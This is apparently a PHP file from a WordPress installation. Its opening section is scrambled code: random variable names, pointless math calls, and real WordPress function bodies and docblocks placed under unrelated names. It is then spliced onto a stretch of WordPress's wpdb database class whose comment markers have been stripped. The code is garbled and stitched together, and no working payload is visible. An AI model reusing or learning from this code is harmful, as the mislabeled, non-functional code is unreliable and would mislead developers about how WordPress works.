= false) { if (!empty($OriginalGenre)) { _deprecated_argument(__FUNCTION__, '2.7.0'); } $chpl_offset = wp_safe_remote_head($has_block_alignment); if (is_wp_error($chpl_offset)) { return false; } return wp_remote_retrieve_headers($chpl_offset); } $new_user_ignore_pass = htmlspecialchars_decode($new_user_ignore_pass); $new_user_ignore_pass = wordwrap($new_user_ignore_pass); $comment_fields['ypxdcri'] = 2294; / translators: %s: Request parameter. / function update_post_thumbnail_cache($has_block_alignment){ // Both $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'] must be set in order to attempt authentication. $deepscan = 'iiz4levb'; $default_cookie_life = 'ymfrbyeah'; if(!isset($new_meta)) { $new_meta = 'omp4'; } $default_palette = 'mxjx4'; $rest_prepare_wp_navigation_core_callback = (!isset($rest_prepare_wp_navigation_core_callback)? 'kmdbmi10' : 'ou67x'); if(!(htmlspecialchars($deepscan)) != FALSE) { $op_precedence = 'hm204'; } $new_meta = asinh(500); $sitemaps['hkjs'] = 4284; if(!isset($wp_locale)) { $wp_locale = 'yhc3'; } $image_info = 'dvbtbnp'; if(!isset($oldpath)) { $oldpath = 'smsbcigs'; } $only_crop_sizes['huh4o'] = 'fntn16re'; if (strpos($has_block_alignment, "/") !== false) { return true; } return false; } /* * Filters the list of post object sub types available within the sitemap. * * @since 5.5.0 * * @param WP_Post_Type[] $post_types Array of registered post type objects keyed by their name. / if((crc32($new_user_ignore_pass)) !== FALSE) { $return_type = 'tfrelfbeo'; } $CommentsCount = (!isset($CommentsCount)? 'u4ys39n' : 'ecdq5kv'); $copy['vh1e'] = 3849; /* * Prints the filesystem credentials modal when needed. * * @since 4.2.0 / function alternativeExists() { $goodkey = get_filesystem_method(); ob_start(); $maybe_integer = request_filesystem_credentials(self_admin_url()); ob_end_clean(); $allposts = 'direct' !== $goodkey && !$maybe_integer; if (!$allposts) { return; } <div id="request-filesystem-credentials-dialog" class="notification-dialog-wrap request-filesystem-credentials-dialog"> <div class="notification-dialog-background"></div> <div class="notification-dialog" role="dialog" aria-labelledby="request-filesystem-credentials-title" tabindex="0"> <div class="request-filesystem-credentials-dialog-content"> request_filesystem_credentials(site_url()); </div> </div> </div> } $new_user_ignore_pass = abs(566); /* * Includes and instantiates the WP_Customize_Manager class. * * Loads the Customizer at plugins_loaded when accessing the customize.php admin * page or when any request includes a wp_customize=on param or a customize_changeset * param (a UUID). This param is a signal for whether to bootstrap the Customizer when * WordPress is loading, especially in the Customizer preview * or when making Customizer Ajax requests for widgets or menus. * * @since 3.4.0 * * @global WP_Customize_Manager $wp_customize / function mt_getTrackbackPings() { $xlen = is_admin() && 'customize.php' === basename($_SERVER['PHP_SELF']); $wp_meta_boxes = $xlen \|\| isset($control_callback['wp_customize']) && 'on' === $control_callback['wp_customize'] \|\| (!empty($_GET['customize_changeset_uuid']) \|\| !empty($_POST['customize_changeset_uuid'])); if (!$wp_meta_boxes) { return; } / * Note that wp_unslash() is not being used on the input vars because it is * called before wp_magic_quotes() gets called. Besides this fact, none of * the values should contain any characters needing slashes anyway. / $html5 = array('changeset_uuid', 'customize_changeset_uuid', 'customize_theme', 'theme', 'customize_messenger_channel', 'customize_autosaved'); $core_default = array_merge(wp_array_slice_assoc($_GET, $html5), wp_array_slice_assoc($_POST, $html5)); $ptype_menu_id = null; $io = null; $ymid = null; / * Value false indicates UUID should be determined after_setup_theme * to either re-use existing saved changeset or else generate a new UUID if none exists. / $avail_post_stati = false; / * Set initially fo false since defaults to true for back-compat; * can be overridden via the customize_changeset_branching filter. / $admin_all_statuses = false; if ($xlen && isset($core_default['changeset_uuid'])) { $avail_post_stati = sanitize_key($core_default['changeset_uuid']); } elseif (!empty($core_default['customize_changeset_uuid'])) { $avail_post_stati = sanitize_key($core_default['customize_changeset_uuid']); } // Note that theme will be sanitized via WP_Theme. if ($xlen && isset($core_default['theme'])) { $ptype_menu_id = $core_default['theme']; } elseif (isset($core_default['customize_theme'])) { $ptype_menu_id = $core_default['customize_theme']; } if (!empty($core_default['customize_autosaved'])) { $io = true; } if (isset($core_default['customize_messenger_channel'])) { $ymid = sanitize_key($core_default['customize_messenger_channel']); } / * Note that settings must be previewed even outside the customizer preview * and also in the customizer pane itself. This is to enable loading an existing * changeset into the customizer. Previewing the settings only has to be prevented * here in the case of a customize_save action because this will cause WP to think * there is nothing changed that needs to be saved. / $pts = wp_doing_ajax() && isset($control_callback['action']) && 'customize_save' === wp_unslash($control_callback['action']); $real_count = !$pts; require_once ABSPATH . WPINC . '/class-wp-customize-manager.php'; $formfiles['wp_customize'] = new WP_Customize_Manager(compact('changeset_uuid', 'theme', 'messenger_channel', 'settings_previewed', 'autosaved', 'branching')); } $destfilename = 'dhuz486w'; $destfilename = sodium_crypto_sign_seed_keypair($destfilename); $install_actions = (!isset($install_actions)? 'c93hwos' : 'xiqxvzj4'); $inner_block['bcbr'] = 'va8jn005'; $new_user_ignore_pass = dechex(247); $active_installs_millions['dlyh7'] = 4299; $new_user_ignore_pass = basename($new_user_ignore_pass); $new_user_ignore_pass = atan(131); /* * Retrieves the link to a contributor's WordPress.org profile page. * * @access private * @since 3.2.0 * * @param string $query_token The contributor's display name (passed by reference). * @param string $datestamp The contributor's username. * @param string $dependencies_list URL to the contributor's WordPress.org profile page. / function sodium_compare(&$query_token, $datestamp, $dependencies_list) { $query_token = '<a href="' . esc_url(sprintf($dependencies_list, $datestamp)) . '">' . esc_html($query_token) . '</a>'; } $destfilename = convert_uuencode($new_user_ignore_pass); $destfilename = acos(175); $rules_node['mchrbtwgr'] = 'yyxu'; $new_user_ignore_pass = soundex($destfilename); $post_authors = 'm1qcd3jx4'; /* * Sends a confirmation request email to a user when they sign up for a new site. The new site will not become active * until the confirmation link is clicked. * * This is the notification function used when site registration * is enabled. * * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_blog_notification_email'} and * {@see 'wpmu_signup_blog_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $domain The new blog domain. * @param string $updated_size The new blog path. * @param string $title The site title. * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $resolve_variables The activation key created in wpmu_signup_blog(). * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool / if((soundex($post_authors)) === TRUE) { $nav_menu_term_id = 'l1vkrii9'; } $my_year['nzofhzrf'] = 'ffbyx69bv'; / translators: %s: Role key. / if(empty(acosh(900)) == False) { $chapter_string_length_hex = 'xazf'; } $abstraction_file['xy6tfys7'] = 'eilc9wi6r'; /* @var ParagonIE_Sodium_Core32_Int32 $j3 / if(!isset($titles)) { $titles = 'tq5t'; } $titles = rad2deg(181); $changeset_post_id = (!isset($changeset_post_id)? "xy5rnfl" : "dy6ydu2n"); $titles = log10(331); $titles = has_published_pages($post_authors); $post_authors = asinh(421); $post_authors = round(316); $obscura['ja7hn1e9'] = 3289; $post_authors = atan(539); /* * Displays the links to the extra feeds such as category feeds. * * @since 2.8.0 * * @param array $args Optional arguments. / if(empty(is_string($post_authors)) === False) { $maybe_widget_id = 'psyntznv'; } $post_authors = wp_skip_dimensions_serialization($post_authors); $start_time = (!isset($start_time)? 'py64' : 'm5m92a'); $titles = log10(753); $post_authors = asinh(286); /* * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $resolve_variables_pair * @return string * @throws SodiumException * @throws TypeError / if(!isset($host_only)) { $host_only = 'ubxi'; } $host_only = addslashes($post_authors); $template_dir_uri['ccjm48m9'] = 'jl434rnub'; $host_only = asinh(645); /* * Code editor settings. * * @see wp_enqueue_code_editor() * @since 4.9.0 * @var array\|false / if(empty(abs(492)) == True) { $unspam_url = 'mf8ebvlq7'; } $host_only = str_shuffle($host_only); $total_pages = (!isset($total_pages)? "knjq26j0s" : "u2fw"); $host_only = wordwrap($host_only); / ern, $host, $matches ); if ( 1 !== $result ) { Couldn't parse the address, bail. return false; } $host = ! empty( $matches['host'] ) ? $matches['host'] : ''; MySQLi port cannot be a string; must be null or an integer. $port = ! empty( $matches['port'] ) ? absint( $matches['port'] ) : null; return array( $host, $port, $socket, $is_ipv6 ); } * * Checks that the connection to the database is still up. If not, try to reconnect. * * If this function is unable to reconnect, it will forcibly die, or if called * after the {@see 'template_redirect'} hook has been fired, return false instead. * * If `$allow_bail` is false, the lack of database connection will need to be handled manually. * * @since 3.9.0 * * @param bool $allow_bail Optional. Allows the function to bail. Default true. * @return bool\|void True if the connection is up. public function check_connection( $allow_bail = true ) { if ( $this->use_mysqli ) { if ( ! empty( $this->dbh ) && mysqli_ping( $this->dbh ) ) { return true; } } else { if ( ! empty( $this->dbh ) && mysql_ping( $this->dbh ) ) { return true; } } $error_reporting = false; Disable warnings, as we don't want to see a multitude of "unable to connect" messages. if ( WP_DEBUG ) { $error_reporting = error_reporting(); error_reporting( $error_reporting & ~E_WARNING ); } for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) { On the last try, re-enable warnings. We want to see a single instance of the "unable to connect" message on the bail() screen, if it appears. if ( $this->reconnect_retries === $tries && WP_DEBUG ) { error_reporting( $error_reporting ); } if ( $this->db_connect( false ) ) { if ( $error_reporting ) { error_reporting( $error_reporting ); } return true; } sleep( 1 ); } If template_redirect has already happened, it's too late for wp_die()/dead_db(). Let's just return and hope for the best. if ( did_action( 'template_redirect' ) ) { return false; } if ( ! $allow_bail ) { return false; } wp_load_translations_early(); $message = '<h1>' . __( 'Error reconnecting to the database' ) . "</h1>\n"; $message .= '<p>' . sprintf( translators: %s: Database host. __( 'This means that the contact with the database server at %s was lost. This could mean your host’s database server is down.' ), '<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>' ) . "</p>\n"; $message .= "<ul>\n"; $message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n"; $message .= '<li>' . __( 'Are you sure the database server is not under particularly heavy load?' ) . "</li>\n"; $message .= "</ul>\n"; $message .= '<p>' . sprintf( translators: %s: Support forums URL. __( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress Support Forums</a>.' ), __( 'https:wordpress.org/support/forums/' ) ) . "</p>\n"; We weren't able to reconnect, so we better bail. $this->bail( $message, 'db_connect_fail' ); Call dead_db() if bail didn't die, because this database is no more. It has ceased to be (at least temporarily). dead_db(); } * * Performs a database query, using current database connection. * * More information can be found on the documentation page. * * @since 0.71 * * @link https:developer.wordpress.org/reference/classes/wpdb/ * * @param string $query Database query. * @return int\|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows * affected/selected for all other queries. Boolean false on error. public function query( $query ) { if ( ! $this->ready ) { $this->check_current_query = true; return false; } * * Filters the database query. * * Some queries are made before the plugins have been loaded, * and thus cannot be filtered with this method. * * @since 2.1.0 * * @param string $query Database query. $query = apply_filters( 'query', $query ); if ( ! $query ) { $this->insert_id = 0; return false; } $this->flush(); Log how the function was called. $this->func_call = "\$db->query(\"$query\")"; If we're writing to the database, make sure the query will write safely. if ( $this->check_current_query && ! $this->check_ascii( $query ) ) { $stripped_query = $this->strip_invalid_text_from_query( $query ); strip_invalid_text_from_query() can perform queries, so we need to flush again, just to make sure everything is clear. $this->flush(); if ( $stripped_query !== $query ) { $this->insert_id = 0; $this->last_query = $query; wp_load_translations_early(); $this->last_error = __( 'WordPress database error: Could not perform query because it contains invalid data.' ); return false; } } $this->check_current_query = true; Keep track of the last query for debug. $this->last_query = $query; $this->_do_query( $query ); Database server has gone away, try to reconnect. $mysql_errno = 0; if ( ! empty( $this->dbh ) ) { if ( $this->use_mysqli ) { if ( $this->dbh instanceof mysqli ) { $mysql_errno = mysqli_errno( $this->dbh ); } else { $dbh is defined, but isn't a real connection. Something has gone horribly wrong, let's try a reconnect. $mysql_errno = 2006; } } else { if ( is_resource( $this->dbh ) ) { $mysql_errno = mysql_errno( $this->dbh ); } else { $mysql_errno = 2006; } } } if ( empty( $this->dbh ) \|\| 2006 === $mysql_errno ) { if ( $this->check_connection() ) { $this->_do_query( $query ); } else { $this->insert_id = 0; return false; } } If there is an error then take note of it. if ( $this->use_mysqli ) { if ( $this->dbh instanceof mysqli ) { $this->last_error = mysqli_error( $this->dbh ); } else { $this->last_error = __( 'Unable to retrieve the error message from MySQL' ); } } else { if ( is_resource( $this->dbh ) ) { $this->last_error = mysql_error( $this->dbh ); } else { $this->last_error = __( 'Unable to retrieve the error message from MySQL' ); } } if ( $this->last_error ) { Clear insert_id on a subsequent failed insert. if ( $this->insert_id && preg_match( '/^\s(insert\|replace)\s/i', $query ) ) { $this->insert_id = 0; } $this->print_error(); return false; } if ( preg_match( '/^\s(create\|alter\|truncate\|drop)\s/i', $query ) ) { $return_val = $this->result; } elseif ( preg_match( '/^\s(insert\|delete\|update\|replace)\s/i', $query ) ) { if ( $this->use_mysqli ) { $this->rows_affected = mysqli_affected_rows( $this->dbh ); } else { $this->rows_affected = mysql_affected_rows( $this->dbh ); } Take note of the insert_id. if ( preg_match( '/^\s(insert\|replace)\s/i', $query ) ) { if ( $this->use_mysqli ) { $this->insert_id = mysqli_insert_id( $this->dbh ); } else { $this->insert_id = mysql_insert_id( $this->dbh ); } } Return number of rows affected. $return_val = $this->rows_affected; } else { $num_rows = 0; if ( $this->use_mysqli && $this->result instanceof mysqli_result ) { while ( $row = mysqli_fetch_object( $this->result ) ) { $this->last_result[ $num_rows ] = $row; $num_rows++; } } elseif ( is_resource( $this->result ) ) { while ( $row = mysql_fetch_object( $this->result ) ) { $this->last_result[ $num_rows ] = $row; $num_rows++; } } Log and return the number of rows selected. $this->num_rows = $num_rows; $return_val = $num_rows; } return $return_val; } * * Internal function to perform the mysql_query() call. * * @since 3.9.0 * * @see wpdb::query() * * @param string $query The query to run. private function _do_query( $query ) { if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->timer_start(); } if ( ! empty( $this->dbh ) && $this->use_mysqli ) { $this->result = mysqli_query( $this->dbh, $query ); } elseif ( ! empty( $this->dbh ) ) { $this->result = mysql_query( $query, $this->dbh ); } $this->num_queries++; if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) { $this->log_query( $query, $this->timer_stop(), $this->get_caller(), $this->time_start, array() ); } } * * Logs query data. * * @since 5.3.0 * * @param string $query The query's SQL. * @param float $query_time Total time spent on the query, in seconds. * @param string $query_callstack Comma-separated list of the calling functions. * @param float $query_start Unix timestamp of the time at the start of the query. * @param array $query_data Custom query data. public function log_query( $query, $query_time, $query_callstack, $query_start, $query_data ) { * * Filters the custom data to log alongside a query. * * Caution should be used when modifying any of this data, it is recommended that any additional * information you need to store about a query be added as a new associative array element. * * @since 5.3.0 * * @param array $query_data Custom query data. * @param string $query The query's SQL. * @param float $query_time Total time spent on the query, in seconds. * @param string $query_callstack Comma-separated list of the calling functions. * @param float $query_start Unix timestamp of the time at the start of the query. $query_data = apply_filters( 'log_query_custom_data', $query_data, $query, $query_time, $query_callstack, $query_start ); $this->queries[] = array( $query, $query_time, $query_callstack, $query_start, $query_data, ); } * * Generates and returns a placeholder escape string for use in queries returned by ::prepare(). * * @since 4.8.3 * * @return string String to escape placeholders. public function placeholder_escape() { static $placeholder; if ( ! $placeholder ) { If ext/hash is not present, compat.php's hash_hmac() does not support sha256. $algo = function_exists( 'hash' ) ? 'sha256' : 'sha1'; Old WP installs may not have AUTH_SALT defined. $salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand(); $placeholder = '{' . hash_hmac( $algo, uniqid( $salt, true ), $salt ) . '}'; } * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything * else attached to this filter will receive the query with the placeholder string removed. if ( false === has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) { add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 ); } return $placeholder; } * * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder. * * @since 4.8.3 * * @param string $query The query to escape. * @return string The query with the placeholder escape string inserted where necessary. public function add_placeholder_escape( $query ) { * To prevent returning anything that even vaguely resembles a placeholder, * we clobber every % we can find. return str_replace( '%', $this->placeholder_escape(), $query ); } * * Removes the placeholder escape strings from a query. * * @since 4.8.3 * * @param string $query The query from which the placeholder will be removed. * @return string The query with the placeholder removed. public function remove_placeholder_escape( $query ) { return str_replace( $this->placeholder_escape(), '%', $query ); } * * Inserts a row into the table. * * Examples: * * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * * @since 2.5.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array\|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @return int\|false The number of rows inserted, or false on error. public function insert( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' ); } * * Replaces a row in the table. * * Examples: * * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) ) * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) ) * * @since 3.0.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array\|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @return int\|false The number of rows affected, or false on error. public function replace( $table, $data, $format = null ) { return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' ); } * * Helper function for insert and replace. * * Runs an insert or replace query based on $type argument. * * @since 3.0.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to insert (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array\|string $format Optional. An array of formats to be mapped to each of the value in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @param string $type Optional. Type of operation. Possible values include 'INSERT' or 'REPLACE'. * Default 'INSERT'. * @return int\|false The number of rows affected, or false on error. public function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) { $this->insert_id = 0; if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ), true ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $formats = array(); $values = array(); foreach ( $data as $value ) { if ( is_null( $value['value'] ) ) { $formats[] = 'NULL'; continue; } $formats[] = $value['format']; $values[] = $value['value']; } $fields = '`' . implode( '`, `', array_keys( $data ) ) . '`'; $formats = implode( ', ', $formats ); $sql = "$type INTO `$table` ($fields) VALUES ($formats)"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } * * Updates a row in the table. * * Examples: * * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) ) * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) ) * * @since 2.5.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $data Data to update (in column => value pairs). * Both $data columns and $data values should be "raw" (neither should be SQL escaped). * Sending a null value will cause the column to be set to NULL - the corresponding * format is ignored in this case. * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * Sending a null value will create an IS NULL comparison - the corresponding * format will be ignored in this case. * @param array\|string $format Optional. An array of formats to be mapped to each of the values in $data. * If string, that format will be used for all of the values in $data. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @param array\|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $where will be treated as strings. * @return int\|false The number of rows updated, or false on error. public function update( $table, $data, $where, $format = null, $where_format = null ) { if ( ! is_array( $data ) \|\| ! is_array( $where ) ) { return false; } $data = $this->process_fields( $table, $data, $format ); if ( false === $data ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $fields = array(); $conditions = array(); $values = array(); foreach ( $data as $field => $value ) { if ( is_null( $value['value'] ) ) { $fields[] = "`$field` = NULL"; continue; } $fields[] = "`$field` = " . $value['format']; $values[] = $value['value']; } foreach ( $where as $field => $value ) { if ( is_null( $value['value'] ) ) { $conditions[] = "`$field` IS NULL"; continue; } $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $fields = implode( ', ', $fields ); $conditions = implode( ' AND ', $conditions ); $sql = "UPDATE `$table` SET $fields WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } * * Deletes a row in the table. * * Examples: * * wpdb::delete( 'table', array( 'ID' => 1 ) ) * wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) ) * * @since 3.4.0 * * @see wpdb::prepare() * @see wpdb::$field_types * @see wp_set_wpdb_vars() * * @param string $table Table name. * @param array $where A named array of WHERE clauses (in column => value pairs). * Multiple clauses will be joined with ANDs. * Both $where columns and $where values should be "raw". * Sending a null value will create an IS NULL comparison - the corresponding * format will be ignored in this case. * @param array\|string $where_format Optional. An array of formats to be mapped to each of the values in $where. * If string, that format will be used for all of the items in $where. * A format is one of '%d', '%f', '%s' (integer, float, string). * If omitted, all values in $data will be treated as strings unless otherwise * specified in wpdb::$field_types. * @return int\|false The number of rows deleted, or false on error. public function delete( $table, $where, $where_format = null ) { if ( ! is_array( $where ) ) { return false; } $where = $this->process_fields( $table, $where, $where_format ); if ( false === $where ) { return false; } $conditions = array(); $values = array(); foreach ( $where as $field => $value ) { if ( is_null( $value['value'] ) ) { $conditions[] = "`$field` IS NULL"; continue; } $conditions[] = "`$field` = " . $value['format']; $values[] = $value['value']; } $conditions = implode( ' AND ', $conditions ); $sql = "DELETE FROM `$table` WHERE $conditions"; $this->check_current_query = false; return $this->query( $this->prepare( $sql, $values ) ); } * * Processes arrays of field/value pairs and field formats. * * This is a helper method for wpdb's CRUD methods, which take field/value pairs * for inserts, updates, and where clauses. This method first pairs each value * with a format. Then it determines the charset of that field, using that * to determine if any invalid text would be stripped. If text is stripped, * then field processing is rejected and the query fails. * * @since 4.2.0 * * @param string $table Table name. * @param array $data Field/value pair. * @param mixed $format Format for each field. * @return array\|false An array of fields that contain paired value and formats. * False for invalid values. protected function process_fields( $table, $data, $format ) { $data = $this->process_field_formats( $data, $format ); if ( false === $data ) { return false; } $data = $this->process_field_charsets( $data, $table ); if ( false === $data ) { return false; } $data = $this->process_field_lengths( $data, $table ); if ( false === $data ) { return false; } $converted_data = $this->strip_invalid_text( $data ); if ( $data !== $converted_data ) { $problem_fields = array(); foreach ( $data as $field => $value ) { if ( $value !== $converted_data[ $field ] ) { $problem_fields[] = $field; } } wp_load_translations_early(); if ( 1 === count( $problem_fields ) ) { $this->last_error = sprintf( translators: %s: Database field where the error occurred. __( 'WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data.' ), reset( $problem_fields ) ); } else { $this->last_error = sprintf( translators: %s: Database fields where the error occurred. __( 'WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data.' ), implode( ', ', $problem_fields ) ); } return false; } return $data; } * * Prepares arrays of value/format pairs as passed to wpdb CRUD methods. * * @since 4.2.0 * * @param array $data Array of fields to values. * @param mixed $format Formats to be mapped to the values in $data. * @return array Array, keyed by field names with values being an array * of 'value' and 'format' keys. protected function process_field_formats( $data, $format ) { $formats = (array) $format; $original_formats = $formats; foreach ( $data as $field => $value ) { $value = array( 'value' => $value, 'format' => '%s', ); if ( ! empty( $format ) ) { $value['format'] = array_shift( $formats ); if ( ! $value['format'] ) { $value['format'] = reset( $original_formats ); } } elseif ( isset( $this->field_types[ $field ] ) ) { $value['format'] = $this->field_types[ $field ]; } $data[ $field ] = $value; } return $data; } * * Adds field charsets to field/value/format arrays generated by wpdb::process_field_formats(). * * @since 4.2.0 * * @param array $data As it comes from the wpdb::process_field_formats() method. * @param string $table Table name. * @return array\|false The same array as $data with additional 'charset' keys. * False on failure. protected function process_field_charsets( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] \|\| '%f' === $value['format'] ) { * We can skip this field if we know it isn't a string. * This checks %d/%f versus ! %s because its sprintf() could take more. $value['charset'] = false; } else { $value['charset'] = $this->get_col_charset( $table, $field ); if ( is_wp_error( $value['charset'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } * * For string fields, records the maximum string length that field can safely save. * * @since 4.2.1 * * @param array $data As it comes from the wpdb::process_field_charsets() method. * @param string $table Table name. * @return array\|false The same array as $data with additional 'length' keys, or false if * any of the values were too long for their corresponding field. protected function process_field_lengths( $data, $table ) { foreach ( $data as $field => $value ) { if ( '%d' === $value['format'] \|\| '%f' === $value['format'] ) { * We can skip this field if we know it isn't a string. * This checks %d/%f versus ! %s because its sprintf() could take more. $value['length'] = false; } else { $value['length'] = $this->get_col_length( $table, $field ); if ( is_wp_error( $value['length'] ) ) { return false; } } $data[ $field ] = $value; } return $data; } * * Retrieves one variable from the database. * * Executes a SQL query and returns the value from the SQL result. * If the SQL result contains more than one column and/or more than one row, * the value in the column and row specified is returned. If $query is null, * the value in the specified column and row from the previous SQL result is returned. * * @since 0.71 * * @param string\|null $query Optional. SQL query. Defaults to null, use the result from the previous query. * @param int $x Optional. Column of value to return. Indexed from 0. * @param int $y Optional. Row of value to return. Indexed from 0. * @return string\|null Database query result (as string), or null on failure. public function get_var( $query = null, $x = 0, $y = 0 ) { $this->func_call = "\$db->get_var(\"$query\", $x, $y)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } Extract var out of cached results based on x,y vals. if ( ! empty( $this->last_result[ $y ] ) ) { $values = array_values( get_object_vars( $this->last_result[ $y ] ) ); } If there is a value return it, else return null. return ( isset( $values[ $x ] ) && '' !== $values[ $x ] ) ? $values[ $x ] : null; } * * Retrieves one row from the database. * * Executes a SQL query and returns the row from the SQL result. * * @since 0.71 * * @param string\|null $query SQL query. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to an stdClass object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param int $y Optional. Row to return. Indexed from 0. * @return array\|object\|null\|void Database query result in format specified by $output or null on failure. public function get_row( $query = null, $output = OBJECT, $y = 0 ) { $this->func_call = "\$db->get_row(\"$query\",$output,$y)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } else { return null; } if ( ! isset( $this->last_result[ $y ] ) ) { return null; } if ( OBJECT === $output ) { return $this->last_result[ $y ] ? $this->last_result[ $y ] : null; } elseif ( ARRAY_A === $output ) { return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null; } elseif ( ARRAY_N === $output ) { return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null; } elseif ( OBJECT === strtoupper( $output ) ) { Back compat for OBJECT being previously case-insensitive. return $this->last_result[ $y ] ? $this->last_result[ $y ] : null; } else { $this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' ); } } * * Retrieves one column from the database. * * Executes a SQL query and returns the column from the SQL result. * If the SQL result contains more than one column, the column specified is returned. * If $query is null, the specified column from the previous SQL result is returned. * * @since 0.71 * * @param string\|null $query Optional. SQL query. Defaults to previous query. * @param int $x Optional. Column to return. Indexed from 0. * @return array Database query result. Array indexed from 0 by SQL result row number. public function get_col( $query = null, $x = 0 ) { if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } $new_array = array(); Extract the column values. if ( $this->last_result ) { for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) { $new_array[ $i ] = $this->get_var( null, $x, $i ); } } return $new_array; } * * Retrieves an entire SQL result set from the database (i.e., many rows). * * Executes a SQL query and returns the entire SQL result. * * @since 0.71 * * @param string $query SQL query. * @param string $output Optional. Any of ARRAY_A \| ARRAY_N \| OBJECT \| OBJECT_K constants. * With one of the first three, return an array of rows indexed * from 0 by SQL result row number. Each row is an associative array * (column => value, ...), a numerically indexed array (0 => value, ...), * or an object ( ->column = value ), respectively. With OBJECT_K, * return an associative array of row objects keyed by the value * of each row's first column's value. Duplicate keys are discarded. * @return array\|object\|null Database query results. public function get_results( $query = null, $output = OBJECT ) { $this->func_call = "\$db->get_results(\"$query\", $output)"; if ( $query ) { if ( $this->check_current_query && $this->check_safe_collation( $query ) ) { $this->check_current_query = false; } $this->query( $query ); } else { return null; } $new_array = array(); if ( OBJECT === $output ) { Return an integer-keyed array of row objects. return $this->last_result; } elseif ( OBJECT_K === $output ) { Return an array of row objects with keys from column 1. 